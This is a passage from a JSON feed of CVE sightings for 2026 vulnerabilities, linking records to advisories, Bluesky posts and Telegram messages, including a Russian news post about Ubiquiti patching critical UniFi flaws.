"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54981", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0285", "content": "", "creation_timestamp": "2026-08-11T20:47:42.802450Z"}, {"uuid": "a70d6a02-a606-4d67-bab8-7681c4cf5907", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54088", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88447", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54088-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Saku0512\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-12 06:08:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:50.259710Z"}, {"uuid": "7c51178e-f721-4642-824a-ea3fd5491705", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54408", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqirayljkv2f", "content": "\ud83d\udccc CVE-2026-54408 - A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect Application to bypass authe... https://www.cyberhub.blog/cves/CVE-2026-54408", "creation_timestamp": "2026-07-13T03:37:06.758797Z"}, {"uuid": "3fe031a6-87a5-4ba4-81a2-1fb2c1446bd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54407", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqipldkkcj2m", "content": "\ud83d\udccc CVE-2026-54407 - A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect Application to bypass authe... https://www.cyberhub.blog/cves/CVE-2026-54407", "creation_timestamp": "2026-07-13T03:07:06.646504Z"}, {"uuid": "60b18cea-f148-4004-8f2a-349bb9a321f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54267", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqjbzg7ebe2o", "content": "\ud83d\udccc CVE-2026-54267 - Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 2... https://www.cyberhub.blog/cves/CVE-2026-54267", "creation_timestamp": "2026-07-13T08:37:06.329837Z"}, {"uuid": "ccb4eb2c-a0fe-47d9-ae99-8b68467cb055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54267", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mqjca2mrax2z", "content": "\ud83d\udccc CVE-2026-54267 - Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 2... https://www.potatohub.blog/cves/CVE-2026-54267", "creation_timestamp": "2026-07-13T08:40:48.887333Z"}, {"uuid": "b92b28ce-22c3-411a-8e94-b83b22b9956a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54400", "type": "seen", "source": "https://t.me/true_secator/8386", "content": "Ubiquiti \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u043c\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 UniFi OS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u043a\u0430\u043a CVE-2026-50746, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCVE-2026-50746 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 UniFi Connect (\u0432\u0435\u0440\u0441\u0438\u0438 3.4.16 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435), \u043f\u0430\u043a\u0435\u0442 \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u044b Ubiquiti \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0434\u0430\u043d\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u0435\u0434\u0438\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (Improper Access Control), \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 UniFi Connect, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0445\u043e\u0441\u0442-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 UniFi Connect \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.20 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.\n\nUbiquiti \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0435\u0449\u0435 \u0448\u0435\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2026-50747, CVE-2026-50748, CVE-2026-54400, CVE-2026-54402, CVE-2026-55115, CVE-2026-55116) \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 UniFi Talk, UniFi Access \u0438 UniFi Protect, UniFi OS Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043f\u0435\u043a\u0442\u0440\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432, \u0448\u043b\u044e\u0437\u043e\u0432, NAS \u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0432\u0438\u0434\u0435\u043e\u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f Ubiquiti.\n\nUbiquiti \u043f\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0431\u044b\u043b\u0438 \u043b\u0438 \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043e \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043d\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0448\u0435\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Censys \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 100 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 UniFi OS,\u00a0\u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0441\u0435\u0442\u0438, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 (\u043f\u043e\u0447\u0442\u0438 50 000 IP) \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u0421\u0428\u0410. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0438\u0445 \u0443\u0436\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u043b\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u043e\u0432\u0443\u0448\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043d\u0435 \u044f\u0441\u043d\u043e.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0434\u0430\u043d\u043d\u044b\u0435 Censys \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430 \u043f\u0440\u043e\u0448\u043b\u044b\u0435 \u043f\u0435\u0440\u0438\u043e\u0434\u044b \u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0435\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u0440\u0430\u0436\u0430\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u0441\u0442\u0435\u043c, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u043e\u043c \u0433\u0440\u0443\u043f\u043f\u044b \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432 \u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e Ubiquiti, \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u044f \u0435\u0451 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.", "creation_timestamp": "2026-07-13T13:00:04.397698Z"}, {"uuid": "5b36c4a6-befe-4e5c-8363-139742cc9450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54402", "type": "seen", "source": "https://t.me/true_secator/8386", "content": "Ubiquiti \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u043c\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 UniFi OS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u043a\u0430\u043a CVE-2026-50746, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCVE-2026-50746 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 UniFi Connect (\u0432\u0435\u0440\u0441\u0438\u0438 3.4.16 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435), \u043f\u0430\u043a\u0435\u0442 \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u044b Ubiquiti \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0434\u0430\u043d\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u0435\u0434\u0438\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (Improper Access Control), \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 UniFi Connect, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0445\u043e\u0441\u0442-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 UniFi Connect \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.20 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.\n\nUbiquiti \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0435\u0449\u0435 \u0448\u0435\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2026-50747, CVE-2026-50748, CVE-2026-54400, CVE-2026-54402, CVE-2026-55115, CVE-2026-55116) \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 UniFi Talk, UniFi Access \u0438 UniFi Protect, UniFi OS Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043f\u0435\u043a\u0442\u0440\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432, \u0448\u043b\u044e\u0437\u043e\u0432, NAS \u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0432\u0438\u0434\u0435\u043e\u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f Ubiquiti.\n\nUbiquiti \u043f\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0431\u044b\u043b\u0438 \u043b\u0438 \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043e \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043d\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0448\u0435\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Censys \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 100 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 UniFi OS,\u00a0\u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0441\u0435\u0442\u0438, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 (\u043f\u043e\u0447\u0442\u0438 50 000 IP) \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u0421\u0428\u0410. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0438\u0445 \u0443\u0436\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u043b\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u043e\u0432\u0443\u0448\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043d\u0435 \u044f\u0441\u043d\u043e.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0434\u0430\u043d\u043d\u044b\u0435 Censys \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430 \u043f\u0440\u043e\u0448\u043b\u044b\u0435 \u043f\u0435\u0440\u0438\u043e\u0434\u044b \u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0435\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u0440\u0430\u0436\u0430\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u0441\u0442\u0435\u043c, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u043e\u043c \u0433\u0440\u0443\u043f\u043f\u044b \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432 \u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e Ubiquiti, \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u044f \u0435\u0451 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.", "creation_timestamp": "2026-07-13T13:00:04.999717Z"}, {"uuid": "add91820-d6ad-4de9-a0f8-72e2e0e82bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54213", "type": "seen", 